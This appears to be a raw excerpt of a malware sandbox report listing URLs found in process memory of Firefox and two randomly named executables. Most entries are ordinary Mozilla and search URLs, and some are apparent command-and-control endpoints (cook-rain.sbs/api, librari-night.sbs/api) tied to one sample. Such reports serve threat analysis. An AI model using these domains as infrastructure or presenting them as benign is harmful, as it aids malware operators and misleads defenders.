Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1283601
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1403293
Source: firefox.exe, 0000002C.00000002.3318362025.000001C4D10A0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1592344
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678448
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1678942
Source: firefox.exe, 0000002C.00000002.3234736254.000001C4CDD2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1694699#c21
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1817617
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=792480
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=793869
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=806991
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=809550
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=815437
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=840161
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=951422
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341070271.000001C4D284B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3033993606.0000000023932000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: baacd96df2.exe, 00000009.00000002.2958384955.00000000014FD000.00000004.00000020.00020000.00000000.sdmp, baacd96df2.exe, 00000009.00000002.3033993606.0000000023932000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2778926258.00000207D44EA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.2778713866.0000026531BE8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: 45de1d3aba.exe, 00000007.00000003.2776189546.0000000001112000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000002.2955845498.0000000001112000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000003.2933302593.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000003.2776189546.0000000001137000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 00000007.00000003.2777250463.0000000001139000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014F1000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.000000000149B000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000003.2932751935.00000000014F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: 45de1d3aba.exe, 00000007.00000002.2955845498.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apigs.y
Source: 45de1d3aba.exe, 0000000A.00000002.2955620510.000000000149B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apis
Source: 45de1d3aba.exe, 0000000A.00000003.2933302593.00000000014D8000.00000004.00000020.00020000.00000000.sdmp, 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000002C.00000002.3039047640.000001C4C2330000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C2311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000002C.00000002.3318362025.000001C4D1065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C2311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://datastudio.google.com/embed/reporting/
Source: firefox.exe, 0000002C.00000003.2848871590.000001C4D2AC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342388143.000001C4D2AC9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3299101883.000001C4CE786000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3301606401.000001C4CE82C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2822153234.000001C4CE833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2922877602.000001C4D2AC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000002C.00000002.3316860917.000001C4D0E6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIEffectiveTLDServi
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-lists-3/#ua-stylesheet
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drafts.csswg.org/css-scoping/#slots-in-shadow-tree
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3325503231.000001C4D16D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2885347950.000001C4D16D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2933445210.000001C4D16D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: baacd96df2.exe, 00000009.00000003.2753678207.0000000001520000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000003.2766981094.0000013832665000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3320361102.000001C4D1103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3301606401.000001C4CE803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001B.00000003.2682108544.0000013826D33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D1063000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2915243924.000001C4D0E76000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE26F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531B12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/673d2808-e5d8-41b9-957
Source: firefox.exe, 0000002C.00000003.2906087365.000001C4DBB95000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000003.2908174577.000001C4DBBA0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/706c7a85-cf23-442e-8a9
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/d8e772fe-4909-4f05-9f9
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000002C.00000002.3326944582.000001C4D17A0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D26D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000002C.00000002.3308745460.000001C4CEA1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3304628202.000001C4CE952000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000002C.00000002.3340432226.000001C4D278A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3347801761.000001C4D2F0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3347801761.000001C4D2F0F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002C.00000002.3340432226.000001C4D278A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000002C.00000002.3340432226.000001C4D278A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000002C.00000002.3137146408.000001C4CDABA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1
Source: firefox.exe, 0000002C.00000002.3342388143.000001C4D2A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3340432226.000001C4D278A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002C.00000002.3349046160.000001C4D31F1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D262A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3339542925.000001C4D265C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/ms-language-packs/records/
Source: firefox.exe, 0000002C.00000002.3342388143.000001C4D2A5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002C.00000002.3340432226.000001C4D278A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D192D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3137146408.000001C4CDA52000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3318362025.000001C4D10E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3272705234.000001C4CE103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531B12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531B2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabRemove
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000003.2674594406.000001382875A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673794070.000001382873C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673539276.000001382871F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2673199246.0000013828500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2674959078.0000013828777000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3328484802.000001C4D199B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotshttps://screenshots.firefox.com/
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/uuidjs/uuid#getrandomvalues-not-supported
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1983000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/1072
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/whatwg/html/issues/8610
Source: firefox.exe, 0000002C.00000003.2929268933.000001C4D6977000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000002C.00000002.3137146408.000001C4CDABA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3039047640.000001C4C2311000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#bidi-rendering
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#flow-content-3
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#hidden-elements
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#the-details-and-summary-elements
Source: firefox.exe, 0000002C.00000002.3328484802.000001C4D1911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#the-hr-element-2
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsync
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE0EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/oldsyncS
Source: firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/apps/relay
Source: firefox.exe, 0000002C.00000002.3341897479.000001C4D2909000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE0EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/H
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE0EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/cmd/HCX
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE0EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryU
Source: firefox.exe, 0000002C.00000002.3240273080.000001C4CE0EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://identity.mozilla.com/ids/ecosystem_telemetryUFj
Source: firefox.exe, 0000002C.00000002.3181841016.000001C4CDBB5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000002C.00000002.3272705234.000001C4CE180000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001F.00000002.2778713866.0000026531BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001C.00000002.2778747240.00000207D4360000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.2777886250.00000265318B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 0000001B.00000003.2768613352.0000013832283000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3292486582.000001C4CE2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3342006106.000001C4D29D5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002C.00000002.3341070271.000001C4D281C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000002C.00000002.3342006106.000001C4D2991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/
Source: 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/S
Source: 45de1d3aba.exe, 0000000A.00000002.2955620510.00000000014FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://librari-night.sbs/api
